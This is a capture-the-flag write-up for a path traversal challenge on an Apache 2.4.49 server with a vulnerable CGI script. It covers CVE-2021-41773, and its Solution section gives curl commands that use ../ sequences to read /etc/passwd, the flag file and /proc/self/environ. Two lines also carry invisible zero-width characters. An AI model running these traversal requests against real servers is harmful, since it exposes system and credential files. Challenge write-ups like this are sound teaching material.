Path Traversal

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Apache 2.4.49 CVE-2021-41773 identification, CGI script parameter injection, Directory traversal with ../ sequences, Path traversal via unsanitized file parameter

Summary

Walkthrough of the CUSTOM Web Path Traversal. Task: Vulnerable Apache 2.4.49 file server with CGI script accepting file parameter. Solution: Path traversal via unsanitized file parameter to read /flag.txt using ../ sequences.

Description

Vulnerable file server running Apache HTTP Server 2.4.49 (Unix). This version is known to be vulnerable to CVE-2021-41773 (Path Traversal / RCE). The server runs a CGI script vulnerable.cgi with a ?file= parameter that allows reading files without any path filtering.

Target: 34.253.0.220

Analysis

1. Reconnaissance — HTTP Headers

HTTP headers revealed the server version:

Apache 2.4.49 — a version vulnerable to CVE-2021-41773 (Path Traversal / RCE). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Endpoint Discovery

The main page listed two CGI scripts:

File Viewer disclosed the web root path: /usr/local/apache2/htdocs/

3. CVE-2021-41773 Exploitation Attempts

Classic CVE-2021-41773 via .%2e was blocked (403), but the CGI script vulnerable.cgi was vulnerable to direct path traversal through the file parameter.

Solution

Step 1: Confirming LFI via /etc/passwd

 bash read-only • copy allowed Copy
curl -s "http://34.253.0.220/vulnerable.cgi?file=../../../../etc/passwd"

The response contained 19 users — confirming a Debian-based container and successful LFI.

Step 2: Reading the Flag

 bash read-only • copy allowed Copy
curl -s "http://34.253.0.220/vulnerable.cgi?file=../../../../flag.txt"

The file parameter had no filtering on ../ sequences. The path resolved as: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/usr/local/apache2/htdocs/ + ../../../../flag.txt
→ /usr/local/apache2/htdocs/../../../../flag.txt
→ /flag.txt

Step 3: Environment Verification

 bash read-only • copy allowed Copy
curl -s "http://34.253.0.220/vulnerable.cgi?file=../../../../proc/self/environ"

Confirmed: Apache 2.4.49, CGI environment, Docker container. The flag was not present in environment variables — it was only in /flag.txt.

Vulnerability Details

Key Takeaways / Lessons

• Mastering Apache 2.4.49 CVE-2021-41773 identification, CGI script parameter injection, Directory traversal with ../ sequences, Path traversal via unsanitized file parameter was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-02-19 • CUSTOM • Path Traversal • Difficulty: Easy